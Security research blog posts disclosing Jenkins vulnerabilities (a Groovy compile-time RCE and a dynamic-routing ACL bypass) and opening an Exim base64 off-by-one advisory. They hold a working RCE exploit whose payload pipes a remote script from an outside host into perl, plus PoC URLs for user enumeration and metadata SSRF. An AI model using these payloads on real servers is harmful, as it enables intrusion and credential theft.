By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:


Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)

Hacking Jenkins Part 1 - Play with Dynamic Routing

15 January 2019 at 16:00

English Version 中文版本

在軟體工程中, Continuous IntegrationContinuous Delivery 一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins 是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的 CI/CD 應用, 根據 Snyk 在 2018 年所做出的 JVM 生態報告 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!

對於 紅隊演練(Red Team) 來說, Jenkins 更是兵家必爭之地, 只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE 所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!

這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:

其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點, 這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析(Jenkins 任意文件读取漏洞分析), 他們也成功的展示從 Shodan 找到一台未修補的 Jenkins 實現任意讀檔到遠端代碼執行取得權限的過程!

但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins 所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇, 真的可以光從隨便一個網址去達成代碼執行嗎?

針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤, 進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力(Jenkins PatchStapler Patch)去修復這個漏洞, 不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 Service Provider Interface (SPI) 去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!


代碼審查範圍


首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:

  • Jenkins 核心
  • Stapler 網頁框架
  • 建議安裝插件

Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等), 基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD


Jenkins 中的權限機制


因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限, 甚至有專門的 Matrix Authorization Strategy Plugin (同為建議安裝套件)可針對各專案進行細部的權限設定, 從攻擊者的角度我們粗略分成三種:

1. Full Access

對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 Script Console 介面使用 Groovy 執行任意代碼!

print "uname -a".execute().text

這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)

2. Read-only Mode

可從 Configure Global Security 介面中勾選下面選項來開啟這個模式

Allow anonymous read access

在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊, 對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy 代碼以取得控制權!

雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在 Shodan 上的調查約 12% 的機器還是開啟這個選項! 以下使用 ANONYMOUS_READ=True 來代稱這個模式

3. Authenticated Mode

這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用 ANONYMOUS_READ=False 來代稱此模式


漏洞分析


整個漏洞要從 Jenkins 的 動態路由 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming Convention 去匹配路由及動態的執行! 首先 Jenkins 以 / 為分隔將 URL 符號化, 接著由 jenkins.model.Jenkins 為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的,根據這種調用方式這裡就出現了兩個問題!

1. 萬物皆繼承 java.lang.Object

在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法! 而恰巧這個方法又符合命名規則 #1, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫!

2. 跨物件操作導致白名單繞過

前面所提到的 ANONYMOUS_READ, 其中 TrueFalse 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過 jenkins.model.Jenkins#getTarget() 多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制? 可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

以上網址會依序執行下列方法

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!

在了解原理後, 剩下的事就像是在解一個迷宮, 從 jenkins.model.Jenkins 這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口 - 也就是危險的函數呼叫!

值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 Struts2 RCE 或是 Spring Framework RCE 了!


如何利用


所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策, 但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

這個跳板會依序執行下面方法

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

在 Jenkins 中可以被操作的物件都會繼承一個 hudson.model.Descriptor 類別, 而繼承這個類別的物件都可以透過 hudson.model.DescriptorByNameOwner#getDescriptorByName(String) 去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!

不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 Script Console 但在沒有 Jenkins.RUN_SCRIPTS 權限的情況下也無法做任何事 :(

但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子! (雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)

P.S. 值得注意的一點是, 在 getUser([username]) 的實現中會呼叫到 getOrCreateById(...) 並且傳入 create=True 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在 SECURITY-1128


1. 免登入的使用者資訊洩漏

在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD

由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 ANONYMOUS_READ=False 的狀況下可以透過修改 keyword 參數從 a 到 z 去列舉出所有使用者!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

除此之外也可搭配由 Ananthapadmanabhan S R 所回報的 SECURITY-514 進一步取得使用者信箱, 如:

http://jenkins.local/securityRealm/user/admin/api/xml


2. 與 CVE-2018-1000600 搭配成免登入且有完整回顯的 SSRF

下一個要串的漏洞則是 CVE-2018-1000600, 這是一個由 Orange Tsai(對就是我XD) 所回報的漏洞, 關於這個漏洞官方的描述是:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的 UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)

雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是 CSRF, 而是 SSRF!

不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF 也就顯得何其珍貴!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. 未認證的遠端代碼執行

所以廢話少說, RCE 在哪?

為了最大程度的去利用這個漏洞, 我也挖了一個非常有趣的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE! 但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉! (預計二月中釋出!)


TODO


這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD

  • ANONYMOUS_READ=False 的權限下拿到 Plugin 的物件參考, 如果拿到的可以繞過 CVE-2018-1999002CVE-2018-6356 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!
  • ANONYMOUS_READ=False 的權限下找出另一組跳板去呼叫 getDescriptorByName(String). 為了修復 SECURITY-672, Jenkins 從 2.138 開始對 hudson.model.User 增加判斷 Jenkins.READ檢查, 導致原有的跳板失效!


致謝


最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:

  • May 30, 2018 - 回報漏洞給 Jenkins
  • Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600
  • Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002
  • Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046
  • Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861
  • Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins
  • Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002

Hacking Jenkins Part 1 - Play with Dynamic Routing (EN)

15 January 2019 at 16:00

English Version 中文版本

In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.

For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!

This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:

Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!

However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?

From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!


Review Scope


This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:

  • Jenkins Core
  • Stapler Web Framework
  • Suggested Plugins

During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.


Privilege Levels


Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:

1. Full Access

You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!

print "uname -a".execute().text

This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.

2. Read-only Mode

This can be enabled from the Configure Global Security and check the radio box:

Allow anonymous read access

Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!

Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.

3. Authenticated Mode

This is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.


Vulnerability Analysis

To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!

1. Everything is the Subclass of java.lang.Object

In Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!

2. Whitelist Bypass

As mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

The above URL will invoke following methods in sequence!

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!

Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!

By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!


How to Exploit?


How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

The gadget will invoke following methods sequencely.

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(

Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )

P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.


1. Pre-auth User Information Leakage

While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).

In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

Also, this vulnerability can be also chained with SECURITY-514 which reported by Ananthapadmanabhan S R to leak user’s email address! Such as:

http://jenkins.local/securityRealm/user/admin/api/xml


2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF

The next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)

Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. Pre-auth Remote Code Execution

PLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!

In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)


TODO


Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P

  • Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
  • Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.


Acknowledgement


Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:

  • May 30, 2018 - Report vulnerabilities to Jenkins
  • Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
  • Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
  • Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
  • Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
  • Dec 20, 2018 - Report Groovy vulnerability to Jenkins
  • Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002

Exim 任意代碼執行漏洞 (CVE-2018-6789)

5 March 2018 at 16:00

內容

今年我們向 Exim 回報了一個位於 base64 解碼函式的溢出漏洞,編號為 CVE-2018-6789。此漏洞從 Exim 專案開始時即存在,因此影響 Exim 的所有版本

根據我們的研究,攻擊者可利用此漏洞達成遠端任意代碼執行,並且不需任何認證,至少有 40 萬台 Exim 伺服器受此漏洞影響並存在被攻擊的風險。我們建議立即將 Exim 升級至 4.90.1 版以免遭受攻擊。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/

Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing

5 March 2018 at 16:00

Overview

We reported an overflow vulnerability in the base64 decode function of Exim on 5 February, 2018, identified as CVE-2018-6789. This bug exists since the first commit of exim, hence ALL versions are affected. According to our research, it can be leveraged to gain Pre-auth Remote Code Execution and at least 400k servers are at risk. Patched version 4.90.1 is already released and we suggest to upgrade exim immediately.

Affected

  • All Exim versions below 4.90.1

One byte overflow in base64 decoding

Vulnerability Analysis

This is a calculation mistake of decode buffer length in b64decode function: base64.c: 153 b64decode

b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;
// perform decoding
}

As shown above, exim allocates a buffer of 3*(len/4)+1 bytes to store decoded base64 data. However, when the input is not a valid base64 string and the length is 4n+3, exim allocates 3n+1 but consumes 3n+2 bytes while decoding. This causes one byte heap overflow (aka off-by-one). Generally, this bug is harmless because the memory overwritten is usually unused. However, this byte overwrites some critical data when the string fits some specific length. In addition, this byte is controllable, which makes exploitation more feasible. Base64 decoding is such a fundamental function and therefore this bug can be triggered easily, causing remote code execution.

Exploitation

To estimate the severity of this bug, we developed an exploit targeting SMTP daemon of exim. The exploitation mechanism used to achieve pre-auth remote code execution is described in the following paragraphs. In order to leverage this one byte overflow, it is necessary to trick memory management mechanism. It is highly recommended to have basic knowledge of heap exploitation [ref] before reading this section.

We developed the exploit with:

  • Debian(stretch) and Ubuntu(zesty)
  • SMTP daemon of Exim4 package installed with apt-get (4.89/4.88)
  • Config enabled (uncommented in default config) CRAM-MD5 authenticator (any other authenticator using base64 also works)
  • Basic SMTP commands (EHLO, MAIL FROM/RCPT TO) and AUTH

Memory allocation

First, we review the source code and search for useful memory allocation. As we mentioned in the previous article, exim uses self-defined functions for dynamic allocation:

extern BOOL    store_extend_3(void *, int, int, const char *, int);  /* The */
extern void    store_free_3(void *, const char *, int);     /* value of the */
extern void   *store_get_3(int, const char *, int);         /* 2nd arg is   */
extern void   *store_get_perm_3(int, const char *, int);    /* __FILE__ in  */
extern void   *store_malloc_3(int, const char *, int);      /* every call,  */
extern void    store_release_3(void *, const char *, int);  /* so give its  */
extern void    store_reset_3(void *, const char *, int);    /* correct type */

Function store_free() and store_malloc() calls malloc() and free() of glibc directly. Glibc takes a slightly bigger (0x10 bytes) chunk and stores its metadata in the first 0x10 bytes (x86-64) on every allocation, and then returns the location of data. The following illustration describes structure of chunk:

Metadata includes size of previous chunk (the one exactly above in memory), size of current block and some flags. The first three bits of size are used to store flags. In this example, size of 0x81 implies current chunk is 0x80 bytes and the previous chunk is in use. Most of released chunks used in exim are put into a doubly linked list called unsorted bin. Glibc maintains it according to the flags, and merges adjacent released chunks into a bigger chunk to avoid fragmentation. For every allocation request, glibc checks these chunks in an FIFO (first in, first-out) order and reuses the chunks.

For some performance issues, exim maintains its own linked list structure with store_get(), store_release(), store_extend() and store_reset(). architecture of storeblock The main feature of storeblocks is that every block is at least 0x2000 bytes, which becomes a restriction to our exploitation. Note that a storeblock is also the data of a chunk. Therefore, if we look into the memory, it is like:

Here we list functions used to arrange heap data:

  • EHLO hostname For each EHLO(or HELO) command, exim stores the pointer of hostname in sender_host_name.
    • store_free() old name
    • store_malloc() for new name

    smtp_in.c: 1833 check_helo

      1839 /* Discard any previous helo name */
      1840
      1841 if (sender_helo_name != NULL)
      1842   {
      1843   store_free(sender_helo_name);
      1844   sender_helo_name = NULL;
      1845   }
      ...
      1884 if (yield) sender_helo_name = string_copy_malloc(start);
      1885 return yield;
    
  • Unrecognized command For every unrecognized command with unprintable characters, exim allocates a buffer to convert it to printable
    • store_get() to store error message

    smtp_in.c: 5725 smtp_setup_msg

      5725   done = synprot_error(L_smtp_syntax_error, 500, NULL,
      5726     US"unrecognized command");
    
  • AUTH In most authentication procedure, exim uses base64 encoding to communicate with client. The encode and decode string are stored in a buffer allocated by store_get().
    • store_get() for strings
    • can contain unprintable characters, NULL bytes
    • not necessarily null terminated
  • Reset in EHLO/HELO, MAIL, RCPT When a command is done correctly, smtp_reset() is called. This function calls store_reset() to reset block chain to a reset point, which means all storeblocks allocated by store_get() after last command are released.
    • store_reset() to reset point (set at the beginning of function)
    • release blocks added at a time

    smtp_in.c: 3771 smtp_setup_msg

      3771 int
      3772 smtp_setup_msg(void)
      3773 {
      3774 int done = 0;
      3775 BOOL toomany = FALSE;
      3776 BOOL discarded = FALSE;
      3777 BOOL last_was_rej_mail = FALSE;
      3778 BOOL last_was_rcpt = FALSE;
      3779 void *reset_point = store_get(0);
      3780
      3781 DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
      3782
      3783 /* Reset for start of new message. We allow one RSET not to be counted as a
      3784 nonmail command, for those MTAs that insist on sending it between every
      3785 message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
      3786 TLS between messages (an Exim client may do this if it has messages queued up
      3787 for the host). Note: we do NOT reset AUTH at this point. */
      3788
      3789 smtp_reset(reset_point);
    

Exploit steps

